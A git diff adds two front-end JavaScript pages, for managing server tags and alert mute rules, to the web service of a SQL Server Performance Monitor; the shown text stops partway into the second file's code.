new file mode 100644
index 0000000000..0d66c60498
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/manage-tags.js
@@ -0,0 +1,555 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/*
+ * Manage Tags page (#5085) — the web twin of the desktop viewer's tag manager. It reads the tag forest and each
+ * server's directly-assigned tags from the fleet roll-up (apiGetFleet: `tags` and `cards[].tags`) and, for a
+ * sign-in the session reports can_edit, writes through the five /api/server-tags routes: POST (create), PATCH
+ * (partial edit), DELETE ?confirm=true, POST .../servers (assign) and DELETE .../servers (unassign). The server is
+ * the authority for every write; this page is only the affordance and computes no figure.
+ *
+ * Every write result names the custom alert rules whose coverage changed (`affected_rules`); the page lists them
+ * after each write. A delete that would leave a rule matching no server answers 409 confirm_required with those
+ * rules; the page shows them and sends the delete again with confirm=true only when the user asks again.
+ *
+ * Polling: app.js re-calls renderManageTags on its 60 s tick. The selected tag, an open form and the unsaved
+ * checkbox intents live in module scope (`selectedId`, `form`, `edits`), so a tick re-reads and repaints without
+ * losing them. A tick redraws the tree, the server list and the form's parent options only; the open form's
+ * inputs are drawn by openForm, closeForm and submit and are never rebuilt by a tick, so focus and caret stay.
+ * An intent is what the user changed ({add, remove} per tag), never a snapshot of the whole checked set, so a
+ * server assigned or unassigned elsewhere is never undone by Apply. Every write handler is guarded by `busy`, so
+ * a double click sends one request. All server text reaches the DOM through el()/textContent.
+ */
+
+import { el, mount, apiGetFleet, apiWrite, loadingStrip, errorStrip, emptyStrip } from "../util.js";
+import { getSession } from "../views-api.js";
+
+/** The swatches offered next to the #RRGGBB box. The server accepts any #RRGGBB; these are only shortcuts. */
+export const PALETTE = ["#4E79A7", "#F28E2B", "#E15759", "#76B7B2", "#59A14F", "#EDC948", "#B07AA1", "#FF9DA7", "#9C755F", "#BAB0AC"];
+
+/** A stored colour that is safe to put in a style attribute, or null. */
+export function safeColour(c) {
+  return /^#[0-9a-fA-F]{6}$/.test(c || "") ? c : null;
+}
+
+/** The forest as depth-first rows { tag, depth }, siblings in the order the server sent them. A dangling parent
+ *  surfaces as a root and a cycle cannot repeat a tag. */
+export function treeRows(forest) {
+  const known = new Set(forest.map((t) => t.id));
+  const kids = new Map();
+  for (const t of forest) {
+    const p = t.parent_id != null && known.has(t.parent_id) ? t.parent_id : 0;
+    if (!kids.has(p)) kids.set(p, []);
+    kids.get(p).push(t);
+  }
+  const rows = [];
+  const seen = new Set();
+  const walk = (t, depth) => {
+    if (seen.has(t.id)) return;
+    seen.add(t.id);
+    rows.push({ tag: t, depth });
+    for (const c of kids.get(t.id) || []) walk(c, depth + 1);
+  };
+  for (const t of kids.get(0) || []) walk(t, 0);
+  for (const t of forest) walk(t, 0);
+  return rows;
+}
+
+/** The ids of a tag and everything under it. */
+export function subtreeIds(forest, id) {
+  const out = new Set([id]);
+  let grew = true;
+  while (grew) {
+    grew = false;
+    for (const t of forest) {
+      if (t.parent_id != null && out.has(t.parent_id) && !out.has(t.id)) {
+        out.add(t.id);
+        grew = true;
+      }
+    }
+  }
+  return out;
+}
+
+/** The POST body for a create: only the fields that hold a value. */
+export function formToCreateBody(values) {
+  const body = { name: String(values.name || "").trim() };
+  if (values.parent_id !== "" && values.parent_id != null) body.parent_id = Number(values.parent_id);
+  const colour = String(values.colour || "").trim();
+  if (colour !== "") body.colour = colour;
+  return body;
+}
+
+/** The PATCH body: ONLY the fields that differ from the stored tag. A blanked colour is an explicit null and
+ *  "no parent" is an explicit null parent_id (a move to the root). {} when nothing changed. */
+export function buildPatch(original, values) {
+  const patch = {};
+  const name = String(values.name || "").trim();
+  if (name !== original.name) patch.name = name;
+  const colour = String(values.colour || "").trim();
+  const nextColour = colour === "" ? null : colour;
+  const oldColour = original.colour || null;
+  if ((nextColour === null ? null : nextColour.toLowerCase()) !== (oldColour === null ? null : oldColour.toLowerCase())) {
+    patch.colour = nextColour;
+  }
+  const nextParent = values.parent_id === "" || values.parent_id == null ? null : Number(values.parent_id);
+  if (nextParent !== (original.parent_id == null ? null : original.parent_id)) patch.parent_id = nextParent;
+  return patch;
+}
+
+/** The two id lists an Apply sends from a tag's intent: ids to assign that the baseline lacks, ids to unassign
+ *  that the baseline carries. An id the baseline already agrees with is not sent. */
+export function diffAssignment(baseline, intent) {
+  const add = [...intent.add].filter((id) => !baseline.has(id));
+  const remove = [...intent.remove].filter((id) => baseline.has(id));
+  return { add, remove };
+}
+
+/** Turns a write response ({status, body}) into what the page acts on. Branches on the HTTP status and the
+ *  envelope's status word, never on message text. */
+export function interpretWrite(status, body) {
+  const b = body && typeof body === "object" ? body : {};
+  const message = typeof b.message === "string" ? b.message : typeof b.error === "string" ? b.error : "Request failed (HTTP " + status + ")";
+  const rules = Array.isArray(b.affected_rules) ? b.affected_rules : [];
+  if (status === 401) return { kind: "expired", message: "Your session has expired. Sign in again." };
+  if (status === 403) return { kind: "readonly", message: "This session is read-only, so the change was not made." };
+  if (status === 404) return { kind: "notfound", message, refusal: typeof b.refusal === "string" ? b.refusal : null };
+  if (status === 409 && b.status === "confirm_required") return { kind: "confirm", message, rules };
+  if (status === 409) return { kind: "conflict", message };
+  if (status === 400) return { kind: "invalid", message };
+  if (status >= 200 && status < 300) return { kind: "ok", body: b, rules, status: b.status || null };
+  return { kind: "error", message };
+}
+
+/* One write: apiWrite's transport (it tells the shell once when the session is gone), read through interpretWrite. A
+   status of 0 is a request that got no answer; `expired` is a 401 or a 2xx that is not a JSON body, never a saved change. */
+async function send(method, path, body) {
+  const res = await apiWrite(method, path, body);
+  if (res.status === 0) return { kind: "error", message: res.message };
+  if (res.expired) return { kind: "expired", message: "Your session has expired. Sign in again." };
+  if (res.unexpected) return { kind: "error", message: "The service gave an unexpected answer (HTTP " + res.status + "). Check the list before trying again." };
+  return interpretWrite(res.status, res.body);
+}
+
+const tagPath = (id) => "/api/server-tags/" + encodeURIComponent(id);
+const createTag = (body) => send("POST", "/api/server-tags", body);
+const patchTag = (id, body) => send("PATCH", tagPath(id), body);
+const deleteTag = (id, confirm) => send("DELETE", tagPath(id) + (confirm ? "?confirm=true" : ""));
+const assignServers = (id, ids) => send("POST", tagPath(id) + "/servers", { server_ids: ids });
+const unassignServers = (id, ids) => send("DELETE", tagPath(id) + "/servers", { server_ids: ids });
+
+/* ─────────────────────────── page ─────────────────────────── */
+
+/* Module scope: survives the 60 s re-render. */
+let live = null;
+let selectedId = null;
+let form = null;
+let notice = null;
+let pendingDelete = null;
+/* True while a write is in flight: a second click on any write control does nothing until it settles. */
+let busy = false;
+/* The buttons that open or replace a form, or cancel one, so they can be disabled while a write is in flight. */
+const lockable = new Set();
+
+function lockButton(props) {
+  const b = el("button", props);
+  b.disabled = busy;
+  lockable.add(b);
+  return b;
+}
+
+function setBusy(value) {
+  busy = value;
+  for (const b of [...lockable]) {
+    if (b.isConnected === false) lockable.delete(b);
+    else b.disabled = value;
+  }
+}
+/* Unsaved checkbox intents, keyed by tag id: { add, remove } server-id sets recorded from the change events.
+   Checked = baseline ∪ add − remove. An entry exists only while it holds an id. */
+const edits = new Map();
+
+export async function renderManageTags(main) {
+  if (live && live.main === main && live.headEl.isConnected) {
+    await refresh(live);
+    return;
+  }
+  const session = await getSession();
+  const canEdit = !!session.can_edit;
+  const newRoot = canEdit ? lockButton({ class: "btn primary", type: "button", text: "New root tag", onClick: () => openForm({ mode: "create", values: { name: "", colour: "", parent_id: "" } }) }) : null;
+  const headEl = el("div", { class: "page-head" }, [
+    el("h2", { text: "Manage Tags" }),
+    el("div", { class: "meta", text: canEdit ? "tags scope custom alert rules" : "read-only sign-in: tags can be viewed, not changed" }),
+    el("div", { class: "spacer" }),
+    newRoot,
+  ]);
+  const noticeBox = el("div", {});
+  const formBox = el("div", {});
+  const body = el("div", {});
+  mount(main, [headEl, noticeBox, formBox, body]);
+  live = { main, headEl, noticeBox, formBox, body, canEdit, forest: [], cards: [] };
+  if (form) mount(formBox, formNode());
+  mount(body, loadingStrip("Loading tags…"));
+  await refresh(live);
+}
+
+async function refresh(state) {
+  const res = await apiGetFleet();
+  if (res.kind === "error") return mount(state.body, errorStrip(res.message));
+  const d = res.data || {};
+  state.forest = Array.isArray(d.tags) ? d.tags : [];
+  state.cards = Array.isArray(d.cards) ? d.cards : [];
+  if (selectedId != null && !state.forest.some((t) => t.id === selectedId)) selectedId = null;
+  pruneEdits(state);
+  draw(state);
+  refreshParentOptions(state);
+}
+
+/** Drops the intents of tags that no longer exist and every id the baseline now agrees with. */
+function pruneEdits(state) {
+  const known = new Set(state.forest.map((t) => t.id));
+  for (const [id, intent] of [...edits]) {
+    if (!known.has(id)) {
+      edits.delete(id);
+      continue;
+    }
+    const base = baselineOf(state, id);
+    for (const s of [...intent.add]) if (base.has(s)) intent.add.delete(s);
+    for (const s of [...intent.remove]) if (!base.has(s)) intent.remove.delete(s);
+    if (!intent.add.size && !intent.remove.size) edits.delete(id);
+  }
+}
+
+/** Rebuilds only the open form's parent options, in place, so the typed fields keep their element and focus. */
+function refreshParentOptions(state) {
+  if (!form || !form.parentSelect) return;
+  const opts = parentOptions(state);
+  /* A parent deleted elsewhere has no option any more: fall back to none rather than send it on the next Save. */
+  if (!opts.some((o) => o.value === form.values.parent_id)) form.values.parent_id = "";
+  mount(form.parentSelect, opts.map((o) => el("option", { value: o.value, text: o.label })));
+  form.parentSelect.value = form.values.parent_id;
+}
+
+function draw(state) {
+  drawNotice(state);
+  if (!state.forest.length) {
+    return mount(state.body, emptyStrip("No tags are defined." + (state.canEdit ? " Use New root tag to create one." : "")));
+  }
+  mount(state.body, el("div", { class: "tags-layout" }, [treeNode(state), el("div", { class: "tags-detail" }, [detailNode(state)])]));
+}
+
+function drawNotice(state) {
+  const nodes = [];
+  if (notice) {
+    nodes.push(el("div", { class: "strip " + (notice.isError ? "error" : "notice"), role: notice.isError ? "alert" : "status", text: notice.message }));
+    if (notice.rules && notice.rules.length) nodes.push(rulesNode(notice.rules, "Custom alert rules whose coverage changed:"));
+  }
+  if (pendingDelete) {
+    nodes.push(el("div", { class: "strip error" }, [
+      el("div", { text: pendingDelete.message }),
+      rulesNode(pendingDelete.rules, "These custom alert rules would match no server:"),
+      el("div", { class: "form-actions" }, [
+        el("button", { class: "btn primary", type: "button", text: "Delete anyway", onClick: confirmDelete }),
+        lockButton({ class: "btn", type: "button", text: "Cancel", onClick: cancelDelete }),
+      ]),
+    ]));
+  }
+  mount(state.noticeBox, nodes);
+}
+
+function rulesNode(rules, heading) {
+  return el("div", { class: "tags-rules" }, [
+    el("div", { class: "meta", text: heading }),
+    el("ul", {}, rules.map((r) => el("li", { "data-rule-id": r.rule_id, text: ruleLine(r) }))),
+  ]);
+}
+
+function ruleLine(r) {
+  const bits = [r.name || "(unnamed rule)"];
+  if (r.effect) bits.push(r.effect);
+  if (r.servers_lost_count) bits.push(r.servers_lost_count + " server(s) lost");
+  if (r.servers_gained_count) bits.push(r.servers_gained_count + " server(s) gained");
+  if (r.enabled === false) bits.push("rule disabled");
+  return bits.join(" — ");
+}
+
+function swatch(colour) {
+  const c = safeColour(colour);
+  return el("span", { class: "tag-swatch", style: c ? "background:" + c : null, "aria-hidden": "true" });
+}
+
+function treeNode(state) {
+  const rows = treeRows(state.forest);
+  return el("ul", { class: "tag-tree" }, rows.map(({ tag, depth }) =>
+    el("li", { style: "padding-left:" + depth * 18 + "px" }, [
+      el("button", {
+        class: "tag-node" + (tag.id === selectedId ? " tag-selected" : ""),
+        type: "button",
+        "data-tag-id": tag.id,
+        "aria-current": tag.id === selectedId ? "true" : null,
+        onClick: () => select(tag.id),
+      }, [swatch(tag.colour), el("span", { text: tag.name + (edits.has(tag.id) ? " (unsaved)" : "") })]),
+    ])));
+}
+
+function select(id) {
+  selectedId = id;
+  if (live) draw(live);
+}
+
+function detailNode(state) {
+  const tag = state.forest.find((t) => t.id === selectedId);
+  if (!tag) return emptyStrip("Select a tag to see and change its servers.");
+  const actions = state.canEdit
+    ? el("div", { class: "form-actions" }, [
+        lockButton({ class: "btn", type: "button", text: "New child tag", onClick: () => openForm({ mode: "create", values: { name: "", colour: "", parent_id: String(tag.id) } }) }),
+        lockButton({ class: "btn", type: "button", text: "Edit", onClick: () => openForm({ mode: "edit", id: tag.id, original: tag, values: { name: tag.name, colour: tag.colour || "", parent_id: tag.parent_id == null ? "" : String(tag.parent_id) } }) }),
+        el("button", { class: "btn", type: "button", text: "Delete", onClick: () => remove(tag) }),
+      ])
+    : null;
+  return el("div", {}, [el("h3", { text: tag.name }), actions, assignmentNode(state, tag)]);
+}
+
+/* ─────────────────────────── assignment ─────────────────────────── */
+
+function baselineOf(state, tagId) {
+  const s = new Set();
+  for (const c of state.cards) if ((c.tags || []).some((t) => t.id === tagId)) s.add(c.server_id);
+  return s;
+}
+
+function checkedOf(state, tagId) {
+  const checked = baselineOf(state, tagId);
+  const intent = edits.get(tagId);
+  if (intent) {
+    for (const id of intent.add) checked.add(id);
+    for (const id of intent.remove) checked.delete(id);
+  }
+  return checked;
+}
+
+/** Records one checkbox change as an intent against the current baseline. */
+function recordIntent(state, tagId, serverId, isChecked) {
+  const intent = edits.get(tagId) || { add: new Set(), remove: new Set() };
+  const inBase = baselineOf(state, tagId).has(serverId);
+  intent.add.delete(serverId);
+  intent.remove.delete(serverId);
+  if (isChecked && !inBase) intent.add.add(serverId);
+  if (!isChecked && inBase) intent.remove.add(serverId);
+  if (intent.add.size || intent.remove.size) edits.set(tagId, intent);
+  else edits.delete(tagId);
+}
+
+function assignmentNode(state, tag) {
+  if (!state.cards.length) return emptyStrip("No servers are monitored.");
+  const checked = checkedOf(state, tag.id);
+  const rows = state.cards.map((c) => {
+    const box = el("input", { type: "checkbox", "data-server-id": c.server_id, "aria-label": c.display_name });
+    box.checked = checked.has(c.server_id);
+    box.disabled = !state.canEdit;
+    box.addEventListener("change", () => {
+      recordIntent(state, tag.id, c.server_id, box.checked);
+    });
+    return el("label", { class: "tags-server" }, [box, el("span", { text: c.display_name })]);
+  });
+  const nodes = [el("div", { class: "meta", text: "Checked servers carry this tag." }), ...rows];
+  if (state.canEdit) {
+    nodes.push(el("div", { class: "form-actions" }, [
+      el("button", { class: "btn primary", type: "button", text: "Apply", onClick: () => applyAssignment(tag.id) }),
+      el("button", { class: "btn", type: "button", text: "Reset", onClick: () => { edits.delete(tag.id); draw(live); } }),
+    ]));
+  }
+  return el("div", { class: "tags-servers" }, nodes);
+}
+
+async function applyAssignment(tagId) {
+  if (busy) return;
+  setBusy(true);
+  try {
+    const intent = edits.get(tagId);
+    if (!intent) return setNotice("No assignment changes to apply.", false);
+    const { add, remove } = diffAssignment(baselineOf(live, tagId), intent);
+    const rules = [];
+    if (add.length) {
+      const res = await assignServers(tagId, add);
+      if (res.kind !== "ok") return failNotice(res);
+      rules.push(...res.rules);
+    }
+    if (remove.length) {
+      const res = await unassignServers(tagId, remove);
+      if (res.kind !== "ok") {
+        /* The assign half landed: show its rules with the error and re-read, so the baseline is current. */
+        if (add.length) {
+          notice = { message: res.message, isError: true, rules };
+          return await refresh(live);
+        }
+        return failNotice(res);
+      }
+      rules.push(...res.rules);
+    }
+    edits.delete(tagId);
+    await afterWrite("Assignment applied.", rules);
+  } finally {
+    setBusy(false);
+  }
+}
+
+/* ─────────────────────────── writes ─────────────────────────── */
+
+function setNotice(message, isError, rules) {
+  notice = { message, isError, rules: rules || [] };
+  if (live) drawNotice(live);
+}
+
+function failNotice(res) {
+  setNotice(res.message, true);
+}
+
+async function afterWrite(message, rules) {
+  notice = { message, isError: false, rules };
+  await refresh(live);
+}
+
+async function remove(tag) {
+  if (busy) return;
+  if (!window.confirm("Delete tag \"" + tag.name + "\" and every tag under it?\n\nServers and their data are untouched. This cannot be undone.")) return;
+  setBusy(true);
+  try {
+    notice = null;
+    pendingDelete = null;
+    const res = await deleteTag(tag.id, false);
+    await finishDelete(tag.id, res);
+  } finally {
+    setBusy(false);
+  }
+}
+
+async function confirmDelete() {
+  if (busy || !pendingDelete) return;
+  const pending = pendingDelete;
+  setBusy(true);
+  try {
+    const res = await deleteTag(pending.id, true);
+    if (pendingDelete !== pending) return;
+    await finishDelete(pending.id, res);
+  } finally {
+    setBusy(false);
+  }
+}
+
+function cancelDelete() {
+  pendingDelete = null;
+  if (live) drawNotice(live);
+}
+
+async function finishDelete(id, res) {
+  if (res.kind === "confirm") {
+    pendingDelete = { id, message: res.message, rules: res.rules };
+    return drawNotice(live);
+  }
+  pendingDelete = null;
+  if (res.kind !== "ok" && res.kind !== "notfound") return failNotice(res);
+  const gone = res.kind === "ok" && Array.isArray(res.body.deleted_tag_ids) ? res.body.deleted_tag_ids : [id];
+  for (const g of gone) edits.delete(g);
+  if (gone.includes(selectedId)) selectedId = null;
+  await afterWrite(res.kind === "ok" ? "Tag deleted." : "That tag was already gone.", res.rules || []);
+}
+
+/* ─────────────────────────── form ─────────────────────────── */
+
+function openForm(f) {
+  form = { banner: null, parentSelect: null, ...f };
+  if (live) mount(live.formBox, formNode());
+}
+
+function closeForm() {
+  form = null;
+  if (live) mount(live.formBox, []);
+}
+
+function parentOptions(state) {
+  const excluded = form.mode === "edit" ? subtreeIds(state.forest, form.id) : new Set();
+  const opts = [{ value: "", label: "(no parent — root tag)" }];
+  for (const { tag, depth } of treeRows(state.forest)) {
+    if (!excluded.has(tag.id)) opts.push({ value: String(tag.id), label: "\u00A0\u00A0".repeat(depth) + tag.name });
+  }
+  return opts;
+}
+
+function formNode() {
+  const nameInput = el("input", { type: "text", class: "tag-input", "aria-label": "Tag name", "data-field": "name", value: form.values.name });
+  nameInput.addEventListener("input", () => { form.values.name = nameInput.value; });
+  const colourInput = el("input", { type: "text", class: "tag-input", "aria-label": "Colour (#RRGGBB)", "data-field": "colour", value: form.values.colour, placeholder: "#RRGGBB, blank for none" });
+  colourInput.addEventListener("input", () => { form.values.colour = colourInput.value; });
+  const swatches = PALETTE.map((c) => el("button", {
+    class: "tag-swatch tag-swatch-pick", type: "button", style: "background:" + c, title: c, "aria-label": "Use colour " + c,
+    onClick: () => { form.values.colour = c; colourInput.value = c; },
+  }));
+  const parentSelect = el("select", { class: "tag-input", "aria-label": "Parent tag", "data-field": "parent_id" },
+    parentOptions(live).map((o) => el("option", { value: o.value, text: o.label })));
+  parentSelect.value = form.values.parent_id;
+  parentSelect.addEventListener("change", () => { form.values.parent_id = parentSelect.value; });
+  form.parentSelect = parentSelect;
+  return el("div", { class: "card tag-form" }, [
+    el("h3", { text: form.mode === "create" ? "New tag" : "Edit tag" }),
+    form.banner ? el("div", { class: "strip error", role: "alert", text: form.banner }) : null,
+    el("div", { class: "tag-field" }, [el("span", { class: "mute-label", text: "Name" }), nameInput]),
+    el("div", { class: "tag-field" }, [el("span", { class: "mute-label", text: "Colour" }), colourInput, el("span", {}, swatches)]),
+    el("div", { class: "tag-field" }, [el("span", { class: "mute-label", text: "Parent" }), parentSelect]),
+    el("div", { class: "form-actions" }, [
+      el("button", { class: "btn primary", type: "button", text: "Save", onClick: submit }),
+      lockButton({ class: "btn", type: "button", text: "Cancel", onClick: closeForm }),
+    ]),
+  ]);
+}
+
+async function submit() {
+  if (busy || !form) return;
+  const f = form;
+  setBusy(true);
+  try {
+    f.banner = null;
+    let res;
+    if (f.mode === "create") {
+      res = await createTag(formToCreateBody(f.values));
+    } else {
+      const patch = buildPatch(f.original, f.values);
+      if (Object.keys(patch).length === 0) return closeForm();
+      res = await patchTag(f.id, patch);
+    }
+    if (form !== f) return;
+    if (res.kind === "notfound" && res.refusal === "unknown_parent") {
+      /* The chosen parent is gone, not the tag: keep the form and what was typed, reset the parent, re-read. */
+      f.values.parent_id = "";
+      f.banner = res.message;
+      notice = null;
+      await refresh(live);
+      return mount(live.formBox, formNode());
+    }
+    if (res.kind === "notfound") {
+      /* The tag was deleted elsewhere: close the form and re-read, as a delete does. */
+      closeForm();
+      if (f.mode === "edit") {
+        edits.delete(f.id);
+        if (selectedId === f.id) selectedId = null;
+      }
+      return await afterWrite(res.message, []);
+    }
+    if (res.kind !== "ok") {
+      f.banner = res.message;
+      return mount(live.formBox, formNode());
+    }
+    const made = res.body.tag && res.body.tag.tag_id;
+    if (f.mode === "create" && made != null) selectedId = made;
+    const verb = f.mode === "create" ? "Tag created." : res.status === "unchanged" ? "No change." : "Tag updated.";
+    closeForm();
+    await afterWrite(verb, res.rules);
+  } finally {
+    setBusy(false);
+  }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/mute-rules.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/mute-rules.js
new file mode 100644
index 0000000000..3b526aa6b6
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/mute-rules.js
@@ -0,0 +1,377 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/*
+ * Mute Rules page (#4843) — the web twin of the desktop viewer's Manage Mute Rules window. Lists every rule
+ * from get_mute_rules (enabled_only=false, so paused and expired rules show) and, for a seat the session reports
+ * can_edit, writes through the four /api/mute-rules routes: POST (create), PATCH (partial edit), PUT .../enabled
+ * (pause / resume) and DELETE. The server is the authority for every write; this page is only the affordance.
+ *
+ * The read carries no updated-at or last-matched field, so the page shows created and expiry only.
+ *
+ * Polling: app.js re-calls renderMuteRules on its 60 s tick. The form, its typed values and its focus live in
+ * module scope (`live`, `form`): a tick re-reads and redraws the LIST only and never touches an open form.
+ *
+ * The logic that decides what is sent (formToCreateBody, buildPatch, isEmptyCreate, interpretWrite) is plain
+ * functions with no DOM, run under Node by MuteRulesBehaviourTests. All user text reaches the DOM through
+ * el()/textContent.
+ */
+
+import { el, mount, readTool, loadingStrip, errorStrip, emptyStrip, localTime, reportSessionExpired } from "../util.js";
+import * as api from "../alerts-api.js";
+
+/** The editable text scope/pattern fields, in form order, with their labels. `reason` and the expiry follow. */
+export const TEXT_FIELDS = [
+  { key: "server_name", label: "Server name (exact)" },
+  { key: "metric_name", label: "Metric" },
+  { key: "database_pattern", label: "Database (substring)" },
+  { key: "wait_type_pattern", label: "Wait type (substring)" },
+  { key: "query_text_pattern", label: "Query text (substring)" },
+  { key: "job_name_pattern", label: "Job name (substring)" },
+  { key: "reason", label: "Reason" },
+];
+const EXPIRY = "expires_at_utc";
+/* server_id is not a form field: it arrives from an Alert History pre-fill and rides along in the create body, so
+   the rule is keyed on the server's store id (the name is only its label). */
+const SERVER_ID = "server_id";
+const EDITABLE_KEYS = TEXT_FIELDS.map((f) => f.key).concat([EXPIRY, SERVER_ID]);
+
+/** A datetime-local value ("2026-08-01T10:30", local clock) to an ISO UTC string, or "" when blank/unparseable. */
+export function localInputToIso(v) {
+  if (!v) return "";
+  const d = new Date(v);
+  return Number.isNaN(d.getTime()) ? "" : d.toISOString();
+}
+
+/** An ISO timestamp to a datetime-local value (local clock), or "". */
+export function isoToLocalInput(iso) {
+  if (!iso) return "";
+  const d = new Date(iso);
+  if (Number.isNaN(d.getTime())) return "";
+  const p = (n) => String(n).padStart(2, "0");
+  return d.getFullYear() + "-" + p(d.getMonth() + 1) + "-" + p(d.getDate()) + "T" + p(d.getHours()) + ":" + p(d.getMinutes());
+}
+
+/** The value a form field sends: trimmed text, or null when blank. `values` holds raw strings (expiry as a
+ *  datetime-local value). */
+function fieldValue(values, key) {
+  const raw = values[key] == null ? "" : String(values[key]).trim();
+  if (key === EXPIRY) return localInputToIso(raw) || null;
+  if (key === SERVER_ID) return /^-?\d+$/.test(raw) && Number(raw) !== 0 ? Number(raw) : null;
+  return raw === "" ? null : raw;
+}
+
+/** The POST body: only the fields that hold a value. A blank form gives {} — see isEmptyCreate. */
+export function formToCreateBody(values) {
+  const body = {};
+  for (const key of EDITABLE_KEYS) {
+    const v = fieldValue(values, key);
+    if (v !== null) body[key] = v;
+  }
+  return body;
+}
+
+/** True for a create body that names no scope at all: such a rule mutes EVERY alert, so the page confirms first. */
+export function isEmptyCreate(body) {
+  return !body || Object.keys(body).filter((k) => k !== "reason" && k !== EXPIRY).length === 0;
+}
+
+export const EMPTY_CREATE_WARNING =
+  "No server, metric or pattern is set. This rule will mute EVERY alert on EVERY server until it is paused, " +
+  "deleted or expires. Create it anyway?";
+
+/** The PATCH body: ONLY the fields whose value differs from the stored rule. A field the user blanked is sent
+ *  as an explicit null (the server clears it); an untouched field is not sent. `enabled` is never part of it —
+ *  that goes through the PUT .../enabled route. Returns {} when nothing changed. */
+export function buildPatch(original, values) {
+  const patch = {};
+  for (const key of EDITABLE_KEYS) {
+    if (key === SERVER_ID) continue; /* never edited on the form, so an edit must not clear it */
+    const next = fieldValue(values, key);
+    const old = original[key] == null || original[key] === "" ? null : original[key];
+    const same = key === EXPIRY && next !== null && old !== null
+      ? new Date(next).getTime() === new Date(old).getTime()
+      : next === old;
+    if (!same) patch[key] = next;
+  }
+  return patch;
+}
+
+/** Turns a write response ({status, body}) into what the page acts on. */
+export function interpretWrite(status, body) {
+  const b = body && typeof body === "object" ? body : {};
+  const message = typeof b.message === "string" ? b.message : typeof b.error === "string" ? b.error : "Request failed (HTTP " + status + ")";
+  if (status === 401) return { kind: "expired", message: "Your session has expired. Sign in again." };
+  if (status === 403) return { kind: "readonly", message: "This session is read-only, so the change was not made." };
+  if (status === 404) return { kind: "notfound", message };
+  if (status === 409 && b.status === "already_exists") return { kind: "exists", existingId: b.rule_id || null, message };
+  if (status === 400) {
+    const m = /'([a-z_]+)'/.exec(message);
+    const field = m && EDITABLE_KEYS.includes(m[1]) ? m[1] : null;
+    return { kind: "invalid", field, message };
+  }
+  if (status >= 200 && status < 300) return { kind: "ok", rule: b.mute_rule || null, status: b.status || null };
+  return { kind: "error", message };
+}
+
+/** Whether a rule's expiry has passed. */
+export function isExpired(rule, now) {
+  return !!rule.expires_at_utc && new Date(rule.expires_at_utc).getTime() <= (now || Date.now());
+}
+
+/* One write: own fetch rather than apiSend, because a 409 carries the existing rule's id in its body and the
+   field name a 400 complains about, which apiSend's error shape drops. */
+async function send(method, path, body) {
+  let resp;
+  try {
+    resp = await fetch(path, {
+      method,
+      headers: { Accept: "application/json", "Content-Type": "application/json" },
+      body: body === undefined ? undefined : JSON.stringify(body),
+    });
+  } catch (e) {
+    return { kind: "error", message: "Network error: " + (e && e.message ? e.message : String(e)) };
+  }
+  let parsed = null;
+  try {
+    parsed = JSON.parse(await resp.text());
+  } catch {
+    parsed = null;
+  }
+  let result = interpretWrite(resp.status, parsed);
+  if (result.kind === "ok" && (parsed === null || typeof parsed !== "object")) {
+    /* A 2xx that is not a JSON body is a sign-in page in front of the API, not a saved rule. */
+    result = { kind: "expired", message: "Your session has expired. Sign in again." };
+  }
+  if (result.kind === "expired") reportSessionExpired(result.message, "/");
+  return result;
+}
+
+export const createRule = (body) => send("POST", "/api/mute-rules", body);
+const patchRule = (id, body) => send("PATCH", "/api/mute-rules/" + encodeURIComponent(id), body);
+const setEnabled = (id, enabled) => send("PUT", "/api/mute-rules/" + encodeURIComponent(id) + "/enabled", { enabled });
+export const deleteRule = (id) => send("DELETE", "/api/mute-rules/" + encodeURIComponent(id));
+
+/* ─────────────────────────── page ─────────────────────────── */
+
+/* Module scope: survives the 60 s re-render. `live` is the mounted page; `form` is the open form's state. */
+let live = null;
+let form = null;
+let lastPrefillQuery = null;
+
+function parsePrefill(query) {
+  const p = new URLSearchParams(query || "");
+  const v = {};
+  for (const k of EDITABLE_KEYS) if (p.get(k)) v[k] = p.get(k);
+  return v;
+}
+
+export async function renderMuteRules(main, query) {
+  if (live && live.main === main && live.headEl.isConnected) {
+    await refreshList(live);
+    return;
+  }
+  const session = await api.getSession();
+  const canEdit = !!session.can_edit;
+  const newBtn = canEdit ? el("button", { class: "btn primary", type: "button", text: "New rule" }) : null;
+  const headEl = el("div", { class: "page-head" }, [
+    el("h2", { text: "Mute Rules" }),
+    el("div", { class: "meta", text: "suppressed alerts are still logged" }),
+    el("div", { class: "spacer" }),
+    newBtn,
+  ]);
+  const formBox = el("div", {});
+  const listBox = el("div", {});
+  mount(main, [headEl, formBox, listBox]);
+  live = { main, headEl, formBox, listBox, canEdit, rules: [] };
+  if (newBtn) newBtn.addEventListener("click", () => openForm({ mode: "create", values: {} }));
+
+  /* A deep link from Alert History opens the create form pre-filled, once per distinct query. */
+  if (canEdit && query && query !== lastPrefillQuery) {
+    lastPrefillQuery = query;
+    form = null;
+    const values = parsePrefill(query);
+    openForm({ mode: "create", values, idName: values[SERVER_ID] ? values.server_name || "" : null });
+  } else if (form) {
+    drawForm();
+  }
+  mount(listBox, loadingStrip("Loading mute rules…"));
+  await refreshList(live);
+}
+
+async function refreshList(state) {
+  const res = await readTool("get_mute_rules", { enabled_only: false });
+  if (res.kind === "error") return mount(state.listBox, errorStrip(res.message));
+  if (res.kind === "empty") {
+    state.rules = [];
+    return mount(state.listBox, emptyStrip(res.message || "No mute rules are configured."));
+  }
+  state.rules = (res.data && res.data.mute_rules) || [];
+  drawList(state);
+}
+
+function drawList(state) {
+  if (!state.rules.length) return mount(state.listBox, emptyStrip("No mute rules are configured."));
+  const head = ["Status", "Scope", "Reason", "Expires", "Created", state.canEdit ? "" : null]
+    .filter((h) => h !== null)
+    .map((h) => el("th", { text: h }));
+  const rows = state.rules.map((r) => ruleRow(r, state.canEdit));
+  mount(state.listBox, el("table", { class: "data mute-rules" }, [
+    el("thead", {}, [el("tr", {}, head)]),
+    el("tbody", {}, rows),
+  ]));
+}
+
+function statusOf(r) {
